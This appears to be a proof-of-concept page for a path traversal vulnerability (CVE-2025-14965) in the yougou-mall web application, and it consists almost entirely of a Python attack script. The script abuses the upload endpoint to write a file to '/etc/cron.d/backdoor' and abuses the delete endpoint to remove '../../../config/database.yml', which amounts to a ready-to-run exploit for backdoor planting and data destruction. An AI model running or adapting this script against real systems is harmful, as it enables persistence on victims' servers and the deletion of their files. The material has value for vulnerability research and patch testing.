CVE-2025-14965 | yougou-mall路径遍历漏洞

# CVE-2025-14965 Path Traversal PoC for yougou-mall # Target: yougou-mall ResourceController.java upload/delete functions import requests import sys TARGET_URL = "http://target-host/yougou-mall" def upload_file_traversal(): """Upload file using path traversal to write outside intended directory""" files = { 'file': ('test.txt', 'malicious content', 'text/plain') } # Path traversal payload - writes to parent directory data = { 'path': '../../../etc/cron.d/backdoor' } try: response = requests.post( f"{TARGET_URL}/resource/upload", files=files, data=data, timeout=10 ) print(f"Upload Response: {response.status_code}") return response.json() except Exception as e: print(f"Upload failed: {e}") return None def delete_file_traversal(): """Delete arbitrary file using path traversal""" # Path traversal payload - deletes outside intended directory file_path = '../../../config/database.yml' try: response = requests.delete( f"{TARGET_URL}/resource/delete", params={'path': file_path}, timeout=10 ) print(f"Delete Response: {response.status_code}") return response.json() except Exception as e: print(f"Delete failed: {e}") return None if __name__ == '__main__': print("CVE-2025-14965 PoC - yougou-mall Path Traversal") print("=" * 50) print("Testing file upload with path traversal...") upload_file_traversal() print("\nTesting file delete with path traversal...") delete_file_traversal()